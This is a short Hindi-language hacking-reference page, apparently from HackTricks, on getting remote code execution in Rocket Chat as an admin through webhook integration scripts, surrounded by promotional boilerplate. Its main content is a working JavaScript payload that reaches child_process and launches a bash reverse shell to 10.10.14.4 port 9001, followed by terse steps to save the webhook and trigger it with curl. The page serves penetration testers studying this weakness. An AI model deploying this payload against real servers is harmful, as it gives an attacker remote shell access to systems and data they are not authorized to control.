Rocket Chat

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!

• आधिकारिक PEASS और HackTricks swag प्राप्त करें

• हमारे विशेष NFTs कलेक्शन, The PEASS Family खोजें

• शामिल हों 💬 Discord समूह या टेलीग्राम समूह या हमें Twitter 🐦 @carlospolopm** पर फॉलो** करें।

• अपने हैकिंग ट्रिक्स साझा करें, HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।

Websec | Uw Cybersecurity Specialist

RCE

अगर आप Rocket Chat के अंदर एडमिन हैं तो आप RCE प्राप्त कर सकते हैं।

• Integrations पर जाएं और New Integration चुनें और कोई भी चुनें: Incoming WebHook या Outgoing WebHook।

• /admin/integrations/incoming

• दस्तावेज़ के अनुसार, दोनों ES2015 / ECMAScript 6 का उपयोग करते हैं (मूल रूप से JavaScript) डेटा प्रोसेस करने के लिए। इसलिए हमें जावास्क्रिप्ट के लिए रेव शैल प्राप्त करना है:

const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")

• वेबहुक कॉन्फ़िगर करें (चैनल और पोस्ट के रूप में उपयोगकर्ता नाम मौजूद होना चाहिए):

• वेबहुक स्क्रिप्ट कॉन्फ़िगर करें:

• परिवर्तन सहेजें

• उत्पन्न वेबहुक URL प्राप्त करें:

• इसे curl के साथ कॉल करें और आपको रिवर्स शेल प्राप्त होना चाहिए

Websec | Uw Cybersecurity Specialist

जीरो से हीरो तक AWS हैकिंग सीखें htARTE (HackTricks AWS Red Team Expert)!

HackTricks का समर्थन करने के अन्य तरीके:

• यदि आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स देखें!

• आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें

• हमारे विशेष NFTs कलेक्शन The PEASS Family खोजें

• डिस्कॉर्ड समूह💬 Discord group या टेलीग्राम समूह में शामिल हों या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।

• हैकिंग ट्रिक्स साझा करें HackTricks और HackTricks Cloud github repos में PRs सबमिट करके।